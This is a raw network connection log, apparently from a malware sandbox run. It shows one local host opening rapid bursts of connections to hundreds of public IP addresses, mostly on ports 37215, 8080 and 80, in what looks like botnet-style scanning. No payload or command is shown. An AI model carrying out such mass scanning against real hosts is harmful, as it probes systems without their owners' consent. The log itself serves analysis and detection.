Oct 29, 2024 20:52:41.140974998 CET	55982	80	192.168.2.13	88.181.26.182
Oct 29, 2024 20:52:41.141398907 CET	55990	80	192.168.2.13	88.181.26.182
Oct 29, 2024 20:52:41.142270088 CET	80	56306	88.246.28.47	192.168.2.13
Oct 29, 2024 20:52:41.143225908 CET	80	39876	88.116.29.139	192.168.2.13
Oct 29, 2024 20:52:41.146430016 CET	80	55982	88.181.26.182	192.168.2.13
Oct 29, 2024 20:52:41.147166014 CET	43178	37215	192.168.2.13	197.157.75.10
Oct 29, 2024 20:52:41.147176027 CET	60472	37215	192.168.2.13	197.20.141.51
Oct 29, 2024 20:52:41.147177935 CET	46636	80	192.168.2.13	95.155.246.174
Oct 29, 2024 20:52:41.147177935 CET	60724	37215	192.168.2.13	197.72.212.69
Oct 29, 2024 20:52:41.147207975 CET	55738	37215	192.168.2.13	197.67.34.25
Oct 29, 2024 20:52:41.147207975 CET	53318	8080	192.168.2.13	94.181.3.61
Oct 29, 2024 20:52:41.179209948 CET	56752	80	192.168.2.13	95.238.40.148
Oct 29, 2024 20:52:41.179244041 CET	37524	37215	192.168.2.13	197.27.2.81
Oct 29, 2024 20:52:41.183101892 CET	80	56306	88.246.28.47	192.168.2.13
Oct 29, 2024 20:52:41.184777021 CET	80	56752	95.238.40.148	192.168.2.13
Oct 29, 2024 20:52:41.184825897 CET	37215	37524	197.27.2.81	192.168.2.13
Oct 29, 2024 20:52:41.184844017 CET	56752	80	192.168.2.13	95.238.40.148
Oct 29, 2024 20:52:41.184904099 CET	37524	37215	192.168.2.13	197.27.2.81
Oct 29, 2024 20:52:41.185017109 CET	56752	80	192.168.2.13	95.238.40.148
Oct 29, 2024 20:52:41.185323954 CET	56342	37215	192.168.2.13	157.83.65.179
Oct 29, 2024 20:52:41.185359001 CET	56342	37215	192.168.2.13	157.218.195.241
Oct 29, 2024 20:52:41.185375929 CET	56342	37215	192.168.2.13	157.214.138.98
Oct 29, 2024 20:52:41.185376883 CET	56342	37215	192.168.2.13	157.35.25.33
Oct 29, 2024 20:52:41.185389996 CET	56342	37215	192.168.2.13	157.4.202.232
Oct 29, 2024 20:52:41.185406923 CET	56342	37215	192.168.2.13	157.193.174.135
Oct 29, 2024 20:52:41.185419083 CET	56342	37215	192.168.2.13	157.71.146.130
Oct 29, 2024 20:52:41.185439110 CET	56342	37215	192.168.2.13	157.84.202.245
Oct 29, 2024 20:52:41.185455084 CET	56342	37215	192.168.2.13	157.108.125.244
Oct 29, 2024 20:52:41.185465097 CET	56342	37215	192.168.2.13	157.195.90.150
Oct 29, 2024 20:52:41.185477018 CET	56342	37215	192.168.2.13	157.235.105.95
Oct 29, 2024 20:52:41.185508966 CET	56342	37215	192.168.2.13	157.97.172.187
Oct 29, 2024 20:52:41.185520887 CET	56342	37215	192.168.2.13	157.79.106.233
Oct 29, 2024 20:52:41.185523033 CET	56342	37215	192.168.2.13	157.243.105.158
Oct 29, 2024 20:52:41.185564995 CET	56342	37215	192.168.2.13	157.208.247.52
Oct 29, 2024 20:52:41.185570955 CET	56342	37215	192.168.2.13	157.159.58.115
Oct 29, 2024 20:52:41.185587883 CET	56342	37215	192.168.2.13	157.117.235.87
Oct 29, 2024 20:52:41.185594082 CET	56342	37215	192.168.2.13	157.202.188.59
Oct 29, 2024 20:52:41.185623884 CET	56342	37215	192.168.2.13	157.56.97.80
Oct 29, 2024 20:52:41.185627937 CET	56342	37215	192.168.2.13	157.63.8.62
Oct 29, 2024 20:52:41.185647011 CET	56342	37215	192.168.2.13	157.6.221.106
Oct 29, 2024 20:52:41.185659885 CET	56342	37215	192.168.2.13	157.177.45.58
Oct 29, 2024 20:52:41.185677052 CET	56342	37215	192.168.2.13	157.250.178.146
Oct 29, 2024 20:52:41.185705900 CET	56342	37215	192.168.2.13	157.235.192.164
Oct 29, 2024 20:52:41.185722113 CET	56342	37215	192.168.2.13	157.247.218.124
Oct 29, 2024 20:52:41.185746908 CET	56342	37215	192.168.2.13	157.44.86.42
Oct 29, 2024 20:52:41.185755968 CET	56342	37215	192.168.2.13	157.142.199.191
Oct 29, 2024 20:52:41.185771942 CET	56342	37215	192.168.2.13	157.32.227.71
Oct 29, 2024 20:52:41.185796022 CET	56342	37215	192.168.2.13	157.249.248.4
Oct 29, 2024 20:52:41.185818911 CET	56342	37215	192.168.2.13	157.27.96.168
Oct 29, 2024 20:52:41.185836077 CET	56342	37215	192.168.2.13	157.16.27.183
Oct 29, 2024 20:52:41.185869932 CET	56342	37215	192.168.2.13	157.235.135.251
Oct 29, 2024 20:52:41.185869932 CET	56342	37215	192.168.2.13	157.215.215.195
Oct 29, 2024 20:52:41.185888052 CET	56342	37215	192.168.2.13	157.22.237.118
Oct 29, 2024 20:52:41.185893059 CET	56342	37215	192.168.2.13	157.35.38.160
Oct 29, 2024 20:52:41.185919046 CET	56342	37215	192.168.2.13	157.112.56.201
Oct 29, 2024 20:52:41.185934067 CET	56342	37215	192.168.2.13	157.71.123.114
Oct 29, 2024 20:52:41.185956955 CET	56342	37215	192.168.2.13	157.107.239.180
Oct 29, 2024 20:52:41.185971022 CET	56342	37215	192.168.2.13	157.221.234.16
Oct 29, 2024 20:52:41.186022043 CET	56342	37215	192.168.2.13	157.122.63.125
Oct 29, 2024 20:52:41.186042070 CET	56342	37215	192.168.2.13	157.38.211.102
Oct 29, 2024 20:52:41.186042070 CET	56342	37215	192.168.2.13	157.57.70.235
Oct 29, 2024 20:52:41.186043024 CET	56342	37215	192.168.2.13	157.183.4.187
Oct 29, 2024 20:52:41.186042070 CET	56342	37215	192.168.2.13	157.122.191.254
Oct 29, 2024 20:52:41.186067104 CET	56342	37215	192.168.2.13	157.229.12.173
Oct 29, 2024 20:52:41.186089993 CET	56342	37215	192.168.2.13	157.61.254.209
Oct 29, 2024 20:52:41.186110020 CET	56342	37215	192.168.2.13	157.44.168.149
Oct 29, 2024 20:52:41.186126947 CET	56342	37215	192.168.2.13	157.17.238.7
Oct 29, 2024 20:52:41.186127901 CET	56342	37215	192.168.2.13	157.252.60.71
Oct 29, 2024 20:52:41.186144114 CET	56342	37215	192.168.2.13	157.66.225.95
Oct 29, 2024 20:52:41.186161995 CET	56342	37215	192.168.2.13	157.58.120.253
Oct 29, 2024 20:52:41.186178923 CET	56342	37215	192.168.2.13	157.216.52.29
Oct 29, 2024 20:52:41.186211109 CET	56342	37215	192.168.2.13	157.114.243.99
Oct 29, 2024 20:52:41.186211109 CET	56342	37215	192.168.2.13	157.30.51.235
Oct 29, 2024 20:52:41.186232090 CET	56342	37215	192.168.2.13	157.34.103.116
Oct 29, 2024 20:52:41.186249018 CET	56342	37215	192.168.2.13	157.190.68.92
Oct 29, 2024 20:52:41.186281919 CET	56342	37215	192.168.2.13	157.212.147.94
Oct 29, 2024 20:52:41.186299086 CET	56342	37215	192.168.2.13	157.51.91.134
Oct 29, 2024 20:52:41.186316013 CET	56342	37215	192.168.2.13	157.253.12.158
Oct 29, 2024 20:52:41.186316967 CET	56342	37215	192.168.2.13	157.235.60.240
Oct 29, 2024 20:52:41.186347961 CET	56342	37215	192.168.2.13	157.14.241.218
Oct 29, 2024 20:52:41.186350107 CET	56342	37215	192.168.2.13	157.17.253.169
Oct 29, 2024 20:52:41.186363935 CET	56342	37215	192.168.2.13	157.254.34.112
Oct 29, 2024 20:52:41.186379910 CET	56342	37215	192.168.2.13	157.63.2.68
Oct 29, 2024 20:52:41.186391115 CET	56342	37215	192.168.2.13	157.214.197.128
Oct 29, 2024 20:52:41.186407089 CET	56342	37215	192.168.2.13	157.119.118.108
Oct 29, 2024 20:52:41.186422110 CET	56342	37215	192.168.2.13	157.223.13.131
Oct 29, 2024 20:52:41.186451912 CET	56342	37215	192.168.2.13	157.151.25.163
Oct 29, 2024 20:52:41.186451912 CET	56342	37215	192.168.2.13	157.159.194.229
Oct 29, 2024 20:52:41.186475992 CET	56342	37215	192.168.2.13	157.62.54.177
Oct 29, 2024 20:52:41.186527014 CET	56342	37215	192.168.2.13	157.148.166.181
Oct 29, 2024 20:52:41.186527014 CET	56342	37215	192.168.2.13	157.163.235.61
Oct 29, 2024 20:52:41.186546087 CET	56342	37215	192.168.2.13	157.71.220.178
Oct 29, 2024 20:52:41.186546087 CET	56342	37215	192.168.2.13	157.94.154.232
Oct 29, 2024 20:52:41.186547995 CET	56342	37215	192.168.2.13	157.148.72.102
Oct 29, 2024 20:52:41.186582088 CET	56342	37215	192.168.2.13	157.18.175.143
Oct 29, 2024 20:52:41.186628103 CET	56342	37215	192.168.2.13	157.153.5.101
Oct 29, 2024 20:52:41.186628103 CET	56342	37215	192.168.2.13	157.49.249.59
Oct 29, 2024 20:52:41.186628103 CET	56342	37215	192.168.2.13	157.27.52.243
Oct 29, 2024 20:52:41.186647892 CET	56342	37215	192.168.2.13	157.226.184.191
Oct 29, 2024 20:52:41.186652899 CET	56342	37215	192.168.2.13	157.122.212.203
Oct 29, 2024 20:52:41.186685085 CET	56342	37215	192.168.2.13	157.205.21.185
Oct 29, 2024 20:52:41.186692953 CET	56342	37215	192.168.2.13	157.45.38.38
Oct 29, 2024 20:52:41.186707973 CET	56342	37215	192.168.2.13	157.11.243.106
Oct 29, 2024 20:52:41.186726093 CET	56342	37215	192.168.2.13	157.71.234.147
Oct 29, 2024 20:52:41.186734915 CET	56342	37215	192.168.2.13	157.170.57.244
Oct 29, 2024 20:52:41.186755896 CET	56342	37215	192.168.2.13	157.184.114.202
Oct 29, 2024 20:52:41.186781883 CET	56342	37215	192.168.2.13	157.176.11.236
Oct 29, 2024 20:52:41.186795950 CET	56342	37215	192.168.2.13	157.192.201.241
Oct 29, 2024 20:52:41.186805964 CET	56342	37215	192.168.2.13	157.121.23.119
Oct 29, 2024 20:52:41.186810017 CET	56342	37215	192.168.2.13	157.211.245.242
Oct 29, 2024 20:52:41.186831951 CET	56342	37215	192.168.2.13	157.162.78.167
Oct 29, 2024 20:52:41.186861992 CET	56342	37215	192.168.2.13	157.47.144.163
Oct 29, 2024 20:52:41.186861992 CET	56342	37215	192.168.2.13	157.158.12.9
Oct 29, 2024 20:52:41.186875105 CET	56342	37215	192.168.2.13	157.112.184.60
Oct 29, 2024 20:52:41.186892986 CET	56342	37215	192.168.2.13	157.157.255.186
Oct 29, 2024 20:52:41.186907053 CET	56342	37215	192.168.2.13	157.128.230.227
Oct 29, 2024 20:52:41.186952114 CET	56342	37215	192.168.2.13	157.42.181.241
Oct 29, 2024 20:52:41.186968088 CET	56342	37215	192.168.2.13	157.23.188.17
Oct 29, 2024 20:52:41.186969995 CET	56342	37215	192.168.2.13	157.58.13.51
Oct 29, 2024 20:52:41.186983109 CET	56342	37215	192.168.2.13	157.136.57.94
Oct 29, 2024 20:52:41.186990023 CET	56342	37215	192.168.2.13	157.176.90.58
Oct 29, 2024 20:52:41.187019110 CET	56342	37215	192.168.2.13	157.65.110.164
Oct 29, 2024 20:52:41.187033892 CET	56342	37215	192.168.2.13	157.245.60.222
Oct 29, 2024 20:52:41.187045097 CET	56342	37215	192.168.2.13	157.234.243.56
Oct 29, 2024 20:52:41.187062025 CET	56342	37215	192.168.2.13	157.223.186.127
Oct 29, 2024 20:52:41.187084913 CET	80	55982	88.181.26.182	192.168.2.13
Oct 29, 2024 20:52:41.187096119 CET	80	39876	88.116.29.139	192.168.2.13
Oct 29, 2024 20:52:41.187102079 CET	56342	37215	192.168.2.13	157.56.150.64
Oct 29, 2024 20:52:41.187108040 CET	56342	37215	192.168.2.13	157.172.77.96
Oct 29, 2024 20:52:41.187165976 CET	56342	37215	192.168.2.13	157.119.6.190
Oct 29, 2024 20:52:41.187201023 CET	56342	37215	192.168.2.13	157.139.223.5
Oct 29, 2024 20:52:41.187217951 CET	56342	37215	192.168.2.13	157.221.132.145
Oct 29, 2024 20:52:41.187232971 CET	56342	37215	192.168.2.13	157.169.215.91
Oct 29, 2024 20:52:41.187232971 CET	56342	37215	192.168.2.13	157.142.104.176
Oct 29, 2024 20:52:41.187247038 CET	56342	37215	192.168.2.13	157.78.147.189
Oct 29, 2024 20:52:41.187268019 CET	56342	37215	192.168.2.13	157.131.230.186
Oct 29, 2024 20:52:41.187305927 CET	56342	37215	192.168.2.13	157.240.211.229
Oct 29, 2024 20:52:41.187325954 CET	56342	37215	192.168.2.13	157.52.149.67
Oct 29, 2024 20:52:41.187334061 CET	56342	37215	192.168.2.13	157.168.251.107
Oct 29, 2024 20:52:41.187339067 CET	56342	37215	192.168.2.13	157.83.39.76
Oct 29, 2024 20:52:41.187359095 CET	56342	37215	192.168.2.13	157.27.93.5
Oct 29, 2024 20:52:41.187388897 CET	57834	80	192.168.2.13	88.145.148.7
Oct 29, 2024 20:52:41.187406063 CET	56342	37215	192.168.2.13	157.143.9.111
Oct 29, 2024 20:52:41.187426090 CET	56342	37215	192.168.2.13	157.7.47.85
Oct 29, 2024 20:52:41.187441111 CET	56342	37215	192.168.2.13	157.207.192.168
Oct 29, 2024 20:52:41.187503099 CET	56342	37215	192.168.2.13	157.214.16.164
Oct 29, 2024 20:52:41.187503099 CET	56342	37215	192.168.2.13	157.243.55.109
Oct 29, 2024 20:52:41.187519073 CET	56342	37215	192.168.2.13	157.94.200.118
Oct 29, 2024 20:52:41.187530994 CET	56342	37215	192.168.2.13	157.229.186.240
Oct 29, 2024 20:52:41.187541962 CET	56342	37215	192.168.2.13	157.41.43.233
Oct 29, 2024 20:52:41.187558889 CET	56342	37215	192.168.2.13	157.129.43.194
Oct 29, 2024 20:52:41.187592030 CET	56342	37215	192.168.2.13	157.207.223.137
Oct 29, 2024 20:52:41.187612057 CET	56342	37215	192.168.2.13	157.242.252.14
Oct 29, 2024 20:52:41.187624931 CET	56342	37215	192.168.2.13	157.65.173.42
Oct 29, 2024 20:52:41.187638044 CET	56342	37215	192.168.2.13	157.189.103.119
Oct 29, 2024 20:52:41.187654972 CET	56342	37215	192.168.2.13	157.15.152.143
Oct 29, 2024 20:52:41.187669039 CET	56342	37215	192.168.2.13	157.45.241.104
Oct 29, 2024 20:52:41.187709093 CET	56342	37215	192.168.2.13	157.155.22.48
Oct 29, 2024 20:52:41.187726021 CET	56342	37215	192.168.2.13	157.200.84.253
Oct 29, 2024 20:52:41.187747955 CET	56342	37215	192.168.2.13	157.33.98.77
Oct 29, 2024 20:52:41.187841892 CET	56342	37215	192.168.2.13	157.147.254.76
Oct 29, 2024 20:52:41.187865019 CET	56342	37215	192.168.2.13	157.190.155.237
Oct 29, 2024 20:52:41.187865019 CET	56342	37215	192.168.2.13	157.115.10.50
Oct 29, 2024 20:52:41.187880993 CET	56342	37215	192.168.2.13	157.32.3.125
Oct 29, 2024 20:52:41.187911987 CET	56342	37215	192.168.2.13	157.96.246.157
Oct 29, 2024 20:52:41.187935114 CET	56342	37215	192.168.2.13	157.59.242.64
Oct 29, 2024 20:52:41.187947035 CET	56342	37215	192.168.2.13	157.62.121.167
Oct 29, 2024 20:52:41.187948942 CET	56342	37215	192.168.2.13	157.2.197.168
Oct 29, 2024 20:52:41.187968969 CET	56342	37215	192.168.2.13	157.80.83.159
Oct 29, 2024 20:52:41.187969923 CET	56342	37215	192.168.2.13	157.0.200.216
Oct 29, 2024 20:52:41.187979937 CET	56342	37215	192.168.2.13	157.64.253.196
Oct 29, 2024 20:52:41.187999964 CET	56342	37215	192.168.2.13	157.232.70.183
Oct 29, 2024 20:52:41.188009024 CET	56342	37215	192.168.2.13	157.217.186.26
Oct 29, 2024 20:52:41.188019991 CET	56342	37215	192.168.2.13	157.55.155.27
Oct 29, 2024 20:52:41.188050032 CET	56342	37215	192.168.2.13	157.234.37.164
Oct 29, 2024 20:52:41.188052893 CET	56342	37215	192.168.2.13	157.57.56.1
Oct 29, 2024 20:52:41.188082933 CET	56342	37215	192.168.2.13	157.14.26.205
Oct 29, 2024 20:52:41.188098907 CET	56342	37215	192.168.2.13	157.46.210.61
Oct 29, 2024 20:52:41.188103914 CET	56342	37215	192.168.2.13	157.101.9.12
Oct 29, 2024 20:52:41.188117981 CET	56342	37215	192.168.2.13	157.114.236.177
Oct 29, 2024 20:52:41.188137054 CET	56342	37215	192.168.2.13	157.64.73.126
Oct 29, 2024 20:52:41.188163996 CET	56342	37215	192.168.2.13	157.241.85.91
Oct 29, 2024 20:52:41.188554049 CET	60280	37215	192.168.2.13	197.172.135.30
Oct 29, 2024 20:52:41.189553022 CET	35832	37215	192.168.2.13	197.129.46.206
Oct 29, 2024 20:52:41.190294027 CET	58214	37215	192.168.2.13	197.209.27.64
Oct 29, 2024 20:52:41.190705061 CET	37215	56342	157.83.65.179	192.168.2.13
Oct 29, 2024 20:52:41.190756083 CET	56342	37215	192.168.2.13	157.83.65.179
Oct 29, 2024 20:52:41.190969944 CET	80	56752	95.238.40.148	192.168.2.13
Oct 29, 2024 20:52:41.191080093 CET	54920	37215	192.168.2.13	197.231.113.117
Oct 29, 2024 20:52:41.191437960 CET	80	56752	95.238.40.148	192.168.2.13
Oct 29, 2024 20:52:41.191450119 CET	37215	56342	157.218.195.241	192.168.2.13
Oct 29, 2024 20:52:41.191493988 CET	56752	80	192.168.2.13	95.238.40.148
Oct 29, 2024 20:52:41.191498041 CET	56342	37215	192.168.2.13	157.218.195.241
Oct 29, 2024 20:52:41.191744089 CET	50570	37215	192.168.2.13	197.73.46.100
Oct 29, 2024 20:52:41.192647934 CET	57532	37215	192.168.2.13	197.216.39.70
Oct 29, 2024 20:52:41.192679882 CET	37215	56342	157.52.149.67	192.168.2.13
Oct 29, 2024 20:52:41.192729950 CET	56342	37215	192.168.2.13	157.52.149.67
Oct 29, 2024 20:52:41.193597078 CET	34296	37215	192.168.2.13	197.15.135.23
Oct 29, 2024 20:52:41.194555044 CET	45348	37215	192.168.2.13	197.233.246.4
Oct 29, 2024 20:52:41.195373058 CET	51948	37215	192.168.2.13	197.210.62.153
Oct 29, 2024 20:52:41.196259975 CET	41764	37215	192.168.2.13	197.130.131.177
Oct 29, 2024 20:52:41.197010040 CET	32802	37215	192.168.2.13	197.189.85.68
Oct 29, 2024 20:52:41.197897911 CET	45886	37215	192.168.2.13	157.83.65.179
Oct 29, 2024 20:52:41.198555946 CET	37524	37215	192.168.2.13	197.27.2.81
Oct 29, 2024 20:52:41.198574066 CET	37524	37215	192.168.2.13	197.27.2.81
Oct 29, 2024 20:52:41.200711012 CET	37215	51948	197.210.62.153	192.168.2.13
Oct 29, 2024 20:52:41.200799942 CET	51948	37215	192.168.2.13	197.210.62.153
Oct 29, 2024 20:52:41.200830936 CET	51948	37215	192.168.2.13	197.210.62.153
Oct 29, 2024 20:52:41.200874090 CET	51948	37215	192.168.2.13	197.210.62.153
Oct 29, 2024 20:52:41.203974962 CET	37215	37524	197.27.2.81	192.168.2.13
Oct 29, 2024 20:52:41.206120968 CET	37215	51948	197.210.62.153	192.168.2.13
Oct 29, 2024 20:52:41.211162090 CET	48494	80	192.168.2.13	95.105.197.139
Oct 29, 2024 20:52:41.211167097 CET	44176	80	192.168.2.13	95.132.107.245
Oct 29, 2024 20:52:41.211169958 CET	38562	80	192.168.2.13	95.253.138.188
Oct 29, 2024 20:52:41.211209059 CET	52088	8080	192.168.2.13	94.30.144.108
Oct 29, 2024 20:52:41.216442108 CET	80	48494	95.105.197.139	192.168.2.13
Oct 29, 2024 20:52:41.216504097 CET	48494	80	192.168.2.13	95.105.197.139
Oct 29, 2024 20:52:41.216548920 CET	48494	80	192.168.2.13	95.105.197.139
Oct 29, 2024 20:52:41.217006922 CET	42716	80	192.168.2.13	88.25.200.113
Oct 29, 2024 20:52:41.222366095 CET	80	42716	88.25.200.113	192.168.2.13
Oct 29, 2024 20:52:41.222446918 CET	42716	80	192.168.2.13	88.25.200.113
Oct 29, 2024 20:52:41.222496986 CET	42716	80	192.168.2.13	88.25.200.113
Oct 29, 2024 20:52:41.222496986 CET	42716	80	192.168.2.13	88.25.200.113
Oct 29, 2024 20:52:41.222929955 CET	80	48494	95.105.197.139	192.168.2.13
Oct 29, 2024 20:52:41.222980022 CET	48494	80	192.168.2.13	95.105.197.139
Oct 29, 2024 20:52:41.222985983 CET	42718	80	192.168.2.13	88.25.200.113
Oct 29, 2024 20:52:41.227965117 CET	80	42716	88.25.200.113	192.168.2.13
Oct 29, 2024 20:52:41.243164062 CET	50162	8080	192.168.2.13	31.44.24.156
Oct 29, 2024 20:52:41.243165970 CET	43734	8080	192.168.2.13	62.208.117.99
Oct 29, 2024 20:52:41.243175983 CET	42754	8080	192.168.2.13	94.166.57.45
Oct 29, 2024 20:52:41.243175983 CET	58166	37215	192.168.2.13	197.78.100.78
Oct 29, 2024 20:52:41.243180990 CET	47374	37215	192.168.2.13	197.193.82.48
Oct 29, 2024 20:52:41.243182898 CET	48994	37215	192.168.2.13	197.36.244.219
Oct 29, 2024 20:52:41.243197918 CET	36130	37215	192.168.2.13	197.238.217.234
Oct 29, 2024 20:52:41.248584986 CET	8080	50162	31.44.24.156	192.168.2.13
Oct 29, 2024 20:52:41.248595953 CET	8080	43734	62.208.117.99	192.168.2.13
Oct 29, 2024 20:52:41.248672009 CET	50162	8080	192.168.2.13	31.44.24.156
Oct 29, 2024 20:52:41.248673916 CET	43734	8080	192.168.2.13	62.208.117.99
Oct 29, 2024 20:52:41.248773098 CET	56351	8080	192.168.2.13	62.128.233.114
Oct 29, 2024 20:52:41.248786926 CET	56351	8080	192.168.2.13	94.244.248.49
Oct 29, 2024 20:52:41.248816013 CET	56351	8080	192.168.2.13	94.132.229.88
Oct 29, 2024 20:52:41.248817921 CET	56351	8080	192.168.2.13	94.200.140.88
Oct 29, 2024 20:52:41.248817921 CET	56351	8080	192.168.2.13	31.217.218.82
Oct 29, 2024 20:52:41.248820066 CET	56351	8080	192.168.2.13	94.191.45.69
Oct 29, 2024 20:52:41.248821974 CET	56351	8080	192.168.2.13	62.166.32.247
Oct 29, 2024 20:52:41.248822927 CET	56351	8080	192.168.2.13	95.240.31.157
Oct 29, 2024 20:52:41.248823881 CET	56351	8080	192.168.2.13	62.109.73.222
Oct 29, 2024 20:52:41.248867035 CET	56351	8080	192.168.2.13	31.112.242.227
Oct 29, 2024 20:52:41.248867035 CET	56351	8080	192.168.2.13	85.202.45.188
Oct 29, 2024 20:52:41.248868942 CET	56351	8080	192.168.2.13	85.57.48.18
Oct 29, 2024 20:52:41.248868942 CET	56351	8080	192.168.2.13	95.77.85.155
Oct 29, 2024 20:52:41.248868942 CET	56351	8080	192.168.2.13	31.76.223.29
Oct 29, 2024 20:52:41.248869896 CET	56351	8080	192.168.2.13	94.196.83.69
Oct 29, 2024 20:52:41.248869896 CET	56351	8080	192.168.2.13	94.234.216.32
Oct 29, 2024 20:52:41.248871088 CET	56351	8080	192.168.2.13	31.128.239.132
Oct 29, 2024 20:52:41.248872042 CET	56351	8080	192.168.2.13	94.73.7.37
Oct 29, 2024 20:52:41.248872042 CET	56351	8080	192.168.2.13	95.123.129.60
Oct 29, 2024 20:52:41.248873949 CET	56351	8080	192.168.2.13	85.175.85.44
Oct 29, 2024 20:52:41.248873949 CET	56351	8080	192.168.2.13	95.54.148.132
Oct 29, 2024 20:52:41.248873949 CET	56351	8080	192.168.2.13	94.223.67.30
Oct 29, 2024 20:52:41.248879910 CET	56351	8080	192.168.2.13	62.98.42.82
Oct 29, 2024 20:52:41.248879910 CET	56351	8080	192.168.2.13	85.107.80.91
Oct 29, 2024 20:52:41.248879910 CET	56351	8080	192.168.2.13	94.44.150.122
Oct 29, 2024 20:52:41.248893023 CET	56351	8080	192.168.2.13	95.212.33.17
Oct 29, 2024 20:52:41.248893976 CET	56351	8080	192.168.2.13	95.105.146.67
Oct 29, 2024 20:52:41.248893976 CET	56351	8080	192.168.2.13	62.225.132.118
Oct 29, 2024 20:52:41.248893976 CET	56351	8080	192.168.2.13	85.42.243.37
Oct 29, 2024 20:52:41.248893023 CET	56351	8080	192.168.2.13	85.50.2.25
Oct 29, 2024 20:52:41.248893976 CET	56351	8080	192.168.2.13	95.155.190.143
Oct 29, 2024 20:52:41.248898029 CET	56351	8080	192.168.2.13	94.10.255.91
Oct 29, 2024 20:52:41.248893976 CET	56351	8080	192.168.2.13	62.190.43.196
Oct 29, 2024 20:52:41.248899937 CET	56351	8080	192.168.2.13	94.235.21.67
Oct 29, 2024 20:52:41.248893976 CET	56351	8080	192.168.2.13	85.113.1.177
Oct 29, 2024 20:52:41.248894930 CET	56351	8080	192.168.2.13	85.28.226.34
Oct 29, 2024 20:52:41.248908043 CET	56351	8080	192.168.2.13	62.56.17.105
Oct 29, 2024 20:52:41.248908997 CET	56351	8080	192.168.2.13	31.108.128.92
Oct 29, 2024 20:52:41.248910904 CET	56351	8080	192.168.2.13	31.202.120.231
Oct 29, 2024 20:52:41.248914957 CET	56351	8080	192.168.2.13	62.73.163.160
Oct 29, 2024 20:52:41.248914957 CET	56351	8080	192.168.2.13	85.237.81.24
Oct 29, 2024 20:52:41.248917103 CET	56351	8080	192.168.2.13	85.205.211.43
Oct 29, 2024 20:52:41.248925924 CET	56351	8080	192.168.2.13	95.163.21.188
Oct 29, 2024 20:52:41.248929024 CET	56351	8080	192.168.2.13	31.7.250.153
Oct 29, 2024 20:52:41.248945951 CET	56351	8080	192.168.2.13	94.198.195.142
Oct 29, 2024 20:52:41.248945951 CET	56351	8080	192.168.2.13	62.25.117.228
Oct 29, 2024 20:52:41.248953104 CET	56351	8080	192.168.2.13	95.68.152.91
Oct 29, 2024 20:52:41.248958111 CET	56351	8080	192.168.2.13	31.246.13.172
Oct 29, 2024 20:52:41.248958111 CET	56351	8080	192.168.2.13	94.92.123.105
Oct 29, 2024 20:52:41.248960972 CET	56351	8080	192.168.2.13	85.94.54.151
Oct 29, 2024 20:52:41.248977900 CET	56351	8080	192.168.2.13	62.34.74.217
Oct 29, 2024 20:52:41.248979092 CET	56351	8080	192.168.2.13	95.252.209.64
Oct 29, 2024 20:52:41.248979092 CET	56351	8080	192.168.2.13	94.62.0.33
Oct 29, 2024 20:52:41.248979092 CET	56351	8080	192.168.2.13	31.12.218.104
Oct 29, 2024 20:52:41.248990059 CET	56351	8080	192.168.2.13	62.97.203.16
Oct 29, 2024 20:52:41.249011040 CET	56351	8080	192.168.2.13	95.29.46.45
Oct 29, 2024 20:52:41.249011040 CET	56351	8080	192.168.2.13	85.128.218.121
Oct 29, 2024 20:52:41.249012947 CET	56351	8080	192.168.2.13	62.152.132.9
Oct 29, 2024 20:52:41.249012947 CET	56351	8080	192.168.2.13	31.107.127.53
Oct 29, 2024 20:52:41.249012947 CET	56351	8080	192.168.2.13	95.54.129.240
Oct 29, 2024 20:52:41.249012947 CET	56351	8080	192.168.2.13	31.210.217.232
Oct 29, 2024 20:52:41.249017000 CET	56351	8080	192.168.2.13	85.68.249.13
Oct 29, 2024 20:52:41.249017000 CET	56351	8080	192.168.2.13	95.63.68.150
Oct 29, 2024 20:52:41.249017000 CET	56351	8080	192.168.2.13	94.238.8.161
Oct 29, 2024 20:52:41.249020100 CET	56351	8080	192.168.2.13	94.185.175.61
Oct 29, 2024 20:52:41.249032021 CET	56351	8080	192.168.2.13	85.198.192.215
Oct 29, 2024 20:52:41.249038935 CET	56351	8080	192.168.2.13	94.42.205.102
Oct 29, 2024 20:52:41.249038935 CET	56351	8080	192.168.2.13	31.136.112.29
Oct 29, 2024 20:52:41.249058962 CET	56351	8080	192.168.2.13	85.15.175.72
Oct 29, 2024 20:52:41.249058962 CET	56351	8080	192.168.2.13	95.246.73.197
Oct 29, 2024 20:52:41.249062061 CET	56351	8080	192.168.2.13	95.27.237.62
Oct 29, 2024 20:52:41.249062061 CET	56351	8080	192.168.2.13	62.127.5.238
Oct 29, 2024 20:52:41.249062061 CET	56351	8080	192.168.2.13	94.46.56.122
Oct 29, 2024 20:52:41.249062061 CET	56351	8080	192.168.2.13	94.79.178.117
Oct 29, 2024 20:52:41.249066114 CET	56351	8080	192.168.2.13	95.227.122.137
Oct 29, 2024 20:52:41.249066114 CET	56351	8080	192.168.2.13	94.158.40.57
Oct 29, 2024 20:52:41.249064922 CET	56351	8080	192.168.2.13	31.135.117.208
Oct 29, 2024 20:52:41.249062061 CET	56351	8080	192.168.2.13	94.102.99.128
Oct 29, 2024 20:52:41.249066114 CET	56351	8080	192.168.2.13	95.9.6.251
Oct 29, 2024 20:52:41.249064922 CET	56351	8080	192.168.2.13	85.188.67.209
Oct 29, 2024 20:52:41.249066114 CET	56351	8080	192.168.2.13	85.219.174.60
Oct 29, 2024 20:52:41.249066114 CET	56351	8080	192.168.2.13	95.187.184.4
Oct 29, 2024 20:52:41.249078989 CET	56351	8080	192.168.2.13	62.143.181.192
Oct 29, 2024 20:52:41.249133110 CET	56351	8080	192.168.2.13	31.222.171.214
Oct 29, 2024 20:52:41.249133110 CET	56351	8080	192.168.2.13	31.216.183.61
Oct 29, 2024 20:52:41.249134064 CET	56351	8080	192.168.2.13	31.174.33.16
Oct 29, 2024 20:52:41.249134064 CET	56351	8080	192.168.2.13	95.251.76.34
Oct 29, 2024 20:52:41.249134064 CET	56351	8080	192.168.2.13	62.12.210.101
Oct 29, 2024 20:52:41.249134064 CET	56351	8080	192.168.2.13	95.158.24.177
Oct 29, 2024 20:52:41.249134064 CET	56351	8080	192.168.2.13	94.131.175.248
Oct 29, 2024 20:52:41.249134064 CET	56351	8080	192.168.2.13	94.204.97.113
Oct 29, 2024 20:52:41.249134064 CET	56351	8080	192.168.2.13	85.27.178.89
Oct 29, 2024 20:52:41.249134064 CET	56351	8080	192.168.2.13	85.192.38.5
Oct 29, 2024 20:52:41.249139071 CET	56351	8080	192.168.2.13	31.237.56.186
Oct 29, 2024 20:52:41.249139071 CET	56351	8080	192.168.2.13	31.126.239.10
Oct 29, 2024 20:52:41.249139071 CET	56351	8080	192.168.2.13	85.62.46.246
